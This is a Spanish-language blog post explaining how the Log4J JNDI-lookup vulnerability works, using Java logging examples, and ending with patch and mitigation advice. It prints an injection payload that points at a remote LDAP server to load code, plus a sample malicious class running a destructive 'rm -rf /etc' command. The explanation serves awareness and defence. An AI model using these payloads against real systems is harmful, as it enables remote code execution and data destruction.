DEV Community

Cover image for Log4J: La vulnerabilidad más crítica del año.
Ernesto Campohermoso for CIRRUS IT S.R.L.

Posted on

Log4J: La vulnerabilidad más crítica del año.

El pasado 9 de diciembre se descubrió una vulnerabilidad que afecta a aquellas aplicaciones Java que utilizan la librería Log4J. Esta vulnerabilidad permite al atacante ejecutar código de forma remota (Remote Code Execution). A continuación se explica cómo funciona esta vulnerabilidad.

¿Qué es Log4J?

Log4J es una librería ampliamente utilizada en el mundo de desarrollo Java, se utiliza para guardar registros del funcionamiento de nuestra aplicación, los desarrolladores utilizamos estos registros posteriormente para: depurar errores, como pistas de auditoria, verificar como funcionó la aplicación en determinado contexto, etc.

Imagine que escribe una clase encargada de procesar una transferencia bancaria:

public class TransferBl {

    private FinancialCoreBl core;

    public TransferBl(FinancialCoreBl core) {
        this.core = core;
    }

    public void transfer(Account sourceAccount, 
                         Account targetAccount, 
                         BigDecimal amount ){

        // Obtenemos el balance actual de la cuenta origen.
        BigDecimal currentBalance = core.getBalanceForAccount(sourceAccount);

        // Verificamos que el importe a debitar NO sea mayor que el balance actual
        if (currentBalance.comparesTo(amount) < 0) {
            throw new TransferException("Insufficent funds");
        }

        // Verficamos que la cuenta destino exista y pueda recibir los fondos.
        boolean canReceiveFunds = core.canAccountReceiveFunds(targetAccount);

        if (!canReceiveFunds) {
            throw new TransferException("Target account cant receive funds");
        }

        // Se transfieren los fondos.
        core.transfer(sourceAccount, targetAccount, amount);

    }
}
Enter fullscreen mode Exit fullscreen mode

El anterior cumple con su cometido, pero una entidad financiera puede procesar millones de operaciones al día. Entonces que pasa cuando un cliente llama al banco y menciona que no puede realizar la transferencia a pesar de colocar los datos correctamente, es posible que exista un error en nuestro código; para verificar este ultimo supuesto el equipo de soporte intentara revisar los registros de log, pero en nuestro ejemplo no emitimos ninguno, nuestro equipo de soporte se quedaría sin respuesta.

Es necesario registrar lo que nuestro código hace para futuras revisiones.

Entonces se decide cambiar el código para tener un registro de log que se pueda consultar a futuro, una primera opción sería utilizar System.out.println(), nuestro código quedaría así:

public class TransferBl {

    private FinancialCoreBl core;

    public TransferBl(FinancialCoreBl core) {
        this.core = core;
    }

    public void transfer(Account sourceAccount, 
                         Account targetAccount, 
                         BigDecimal amount ){

        // Obtenemos el balance actual de la cuenta origen.
        BigDecimal currentBalance = core.getBalanceForAccount(sourceAccount);

        // Verificamos que el importe a debitar NO sea mayor que el balance actual
        if (currentBalance.comparesTo(amount) < 0) {
            System.out.println("The balance of account " + sourceAccount 
                + " is insufficent, amount required: " + amount);
            throw new TransferException("Insufficent funds");
        }

        // Verficamos que la cuenta destino exista y pueda recibir los fondos.
        boolean canReceiveFunds = core.canAccountReceiveFunds(targetAccount);

        if (!canReceiveFunds) {
            System.out.println("The target account " + account + " can't receive funds.")
            throw new TransferException("Target account can't receive funds");
        }

        // Se transfieren los fondos.
        core.transfer(sourceAccount, targetAccount, amount);
        System.out.println("Successful transfer from: " + sourceAccount +
                  " to: " + targetAccount + 
                  ", amount:" + amount ); 
    }
}
Enter fullscreen mode Exit fullscreen mode

Con esta modificación, el programa comienza a escribir en la salida estándar (usualmente la consola). Con estas modificaciones el equipo de soporte puede buscar la cuenta origen del cliente y determinar si el problema fue de fondos o si la cuenta destino no podía recibir los mismos, el equipo de soporte vería algo así:

Successful transfer from: 1232131233 to: 7728212333, amount 100.00.
The balance of account: 1237677123 is insufficent, , amount required: 2123.99
Successful transfer from: 2812191282 to: 9921233331, amount 1234.00.
The target account: 1237677123 can't receive funds.
Successful transfer from: 8812312333 to: 1232131333, amount 889.20.
Enter fullscreen mode Exit fullscreen mode

En este punto se ha brindado visibilidad de lo que hace nuestro programa, pero no es la única clase en el mismo (usualmente existen miles de ellas), y tenemos nuevas necesidades:

  1. El equipo de soporte no puede estar revisando la consola, a pesar de que puede redireccionar el contenido a un archivo de texto, este crecería de forma desordenada. Necesitamos que los registros de log se escriban en: ficheros de texto, bases de datos u otros repositorios de datos.
  2. No todos los registros de log tienen la misma prioridad, es posible que ante determinados errores deseemos enviar una notificación a la app de mensajería de la empresa, para que el equipo de soporte verifique el estado de salud de nuestra aplicación.
  3. Es importante identificar en que línea de código se emitió cierto registro de log, para una depuración mas sencilla.

El listado anterior, son solo una muestra de las capacidades que nos brinda Log4J a la hora de emitir registros del Log.

Nuestro código se podría reescribir de la siguiente manera:

import org.apache.logging.log4j.LogManager;
import org.apache.logging.log4j.Logger;

public class TransferBl {

    private FinancialCoreBl core;

    private static final Logger LOG = LogManager.getLogger(TransferBl.class);

    public TransferBl(FinancialCoreBl core) {
        this.core = core;
    }

    public void transfer(Account sourceAccount, 
                         Account targetAccount, 
                         BigDecimal amount ){

        // Obtenemos el balance actual de la cuenta origen.
        BigDecimal currentBalance = core.getBalanceForAccount(sourceAccount);

        // Verificamos que el importe a debitar NO sea mayor que el balance actual
        if (currentBalance.comparesTo(amount) < 0) {
            LOG.warn("The balance of account {}  is insufficent, amount required: {} ",
                       sourceAccount,   amount);
            throw new TransferException("Insufficent funds");
        }

        // Verficamos que la cuenta destino exista y pueda recibir los fondos.
        boolean canReceiveFunds = core.canAccountReceiveFunds(targetAccount);

        if (!canReceiveFunds) {
            LOG.warn("The target account {}, can't receive funds.", account )
            throw new TransferException("Target account can't receive funds");
        }

        // Se transfieren los fondos.
        core.transfer(sourceAccount, targetAccount, amount);
        LOG.INFO("Successful transfer from:  {} to: {}, amount: {}",
                  sourceAccount, targetAccount, amount ); 
    }
}
Enter fullscreen mode Exit fullscreen mode

La inclusión de la librería requirió de modificaciones menores en nuestro código, adicionalmente nos permite clasificar los registro de log por importancia (debug, info, warn, error, fatal). También nos permite escribir los mensajes sin utilizar el operador mas (+) para concatenar, esto ultimo es importante y esta relacionado con la vulnerabilidad. Luego de configurar la herramienta nuestros logs pueden guardarse en archivos de texto, bases de datos, o si quisiéramos: envíe un correo electrónica para los errores de tipo fatal, visualizándolos de forma mas legible:

17:13:01.540 [thread-1] INFO net.cirrus.it.TransferBl Successful transfer from: 1232131233 to: 7728212333, amount 100.00.
17:13:01.600 [thread-2] WARN net.cirrus.it.TransferBl The balance of account: 1237677123 is insufficent, , amount required: 2123.99
17:13:02.440 [thread-3] INFO net.cirrus.it.TransferBl Successful transfer from: 2812191282 to: 9921233331, amount 1234.00.
17:13:02.930 [thread-4] WARN net.cirrus.it.TransferBl The target account: 1237677123 can't receive funds.
17:13:03.110 [thread-1] INFO net.cirrus.it.TransferBl Successful transfer from: 8812312333 to: 1232131333, amount 889.20.
Enter fullscreen mode Exit fullscreen mode

¿Todos los programa Java utilizan Log4J?

No. Afortunadamente en Java tenemos una variedad de librerías que sirven para este mismo propósito con sus ventajas y desventajas. De hecho existe la herramienta SL4J que permite programar de forma tal que luego se pueda configurar la librería de gestión de logs. Algunas de ellas son:

  • Log4J
  • Java Logging API
  • tinylog
  • Logback

ADVERTENCIA

Sin embargo: Log4J es una de las librerías mas utilizadas por la comunidad Java.


¿Cómo se explota la vulnerabilidad?

En este punto queda claro que los programas realizan registros de log para poder realizar un seguimiento al funcionamiento de los mismos; también es fácil de entender que es muy probable que los programadores registren en el log los valores introducidos por el usuario para determinar como se comporta el programa, es en este punto donde Log4J tuvo el problema.

Reemplazo de variables

¿Recuerda que Log4J nos facilitaba el registro de logs?:

// Sin Log4J 
System.out.println("Successful transfer from: " + sourceAccount +
                  " to: " + targetAccount + 
                  ", amount:" + amount );

// Con Log4J
LOG.INFO("Successful transfer from: {} to: {}, amount: {}",
                  sourceAccount, targetAccount, amount ); 
Enter fullscreen mode Exit fullscreen mode

Log4J nos permite incluir {}, donde queramos imprimir una variable. Esta forma de imprimir variables es conveniente y se utiliza en la mayoría de herramientas de registros de log.

Parametrización de configuraciones

Log4J permite parametrizar sus configuraciones (por ejemplo en que carpeta se depositaran los logs), reemplazando valores desde diversas fuentes: variables de entorno del sistema operativo, archivos de configuración, Kubernetes, JNDI, etc.. Es esta ultima característica JNDI Lookup la que puede ser explotada. JNDI es una librería que permite consultar variables de árboles de directorios como ActiveDirectory, es muy utilizada en entornos Java Enterprise Edition.

La idea es colocar la dirección de una variable en el LDAP para que esta sea reemplazada en la configuración, así lo siguiente:

<File name="Application" fileName="application.log">
  <PatternLayout>
    <pattern>%d %p %c{1.} [%t] $${jndi:logging/context-name} %m%n</pattern>
  </PatternLayout>
</File>
Enter fullscreen mode Exit fullscreen mode

Consultoría en el LDAP interno del servidor de aplicaciones (Weblogic, Wildfly, Websphere, etc) el valor logging/context-name para colocarlo en los mensajes de log.

El problema es que la invocación JNDI no se limita al LDAP interno, sino que puede invocar a LDAPs externos, por ejemplo: $${jndi:ldap://10.0.0.1:1389/o=context-name}.

JNDI y LDAP no solo sirven para consultar parámetros.

Una característica, que se debe utilizar con cuidado, de JNDI y LDAP es que los directorios ademas de almacenar variables comunes (cadenas, enteros, decimales, etc.), también pueden almacenar objetos Java, los que por medio de Serialization permiten cargar código remoto, así si por ejemplo en $${jndi:ldap://10.0.0.1:1389/o=remote-object}, se tiene almacenada la siguiente clase:

public class RemoteObject implements javax.naming.spi.ObjectFactory {
    public RemoteObject() {
            Runtime.getRuntime().exec("rm -rf /etc");
    }
}
Enter fullscreen mode Exit fullscreen mode

Al consultar esa ruta LDAP via JNDI, nuestro programa intentaría eliminar el contenido de la carpeta /etc. En realidad podría ejecutar cualquier comando.

JNDI y el reemplazo de variables.

Sucede que las versiones 2.0-beta9 <= Apache log4j <= 2.14.1 al momento de realizar el reemplazo de variables, si en una cadena tienen el siguiente formato: ${jndi:ldap://REMOTE_SERVER:PORT/PATH} intentarán realizar un lookup JNDI al servidor remoto en la ruta específica, si el servidor remoto es un servidor malicioso puede responder con una clase Java serializada con código malicioso.

Entonces repasémoos cómo funciona la vulnerabilidad.

  1. Los desarrolladores utilizan una versión afectada de Log4J para registrar lo que él usuario ingresa en la interfaz de usuario.
  2. El atacante conoce que el sistema es vulnerable, luego comienza a utilizar la aplicación guardando, por ejemplo en un formulario de registro, en lugar de nombre, apellido o dirección el valor: ${jndi:ldap://131.0.196.58:1389/o=RemoteCode}
  3. Log4J procesa la cadena por reemplazo de variables, e intenta contactar con el servidor remoto malicioso.
  4. Nuestro código descarga el código malicioso y lo ejecuta.

Es difícil montar un servidor JNDI malicioso

NO. De hecho este proyecto demuestra lo sencillo que es: https://github.com/veracode-research/rogue-jndi.

¿Cómo resolver la vulnerabilidad?

Los programadores que dan mantenimiento a Log4J 2 ya han liberado la versión 2.15, lo mas recomendable es actualizar nuestro software a esta versión.

Amazon a liberado un agente que permite colocar un parche para remediar la vulnerabilidad, lo bueno de este agente es que permite una corrección sin parar la aplicación.

Si no puede actualizar la librería, RedHat ha publicado instrucciones sobre cómo mitigar el problema.

Discussion (0)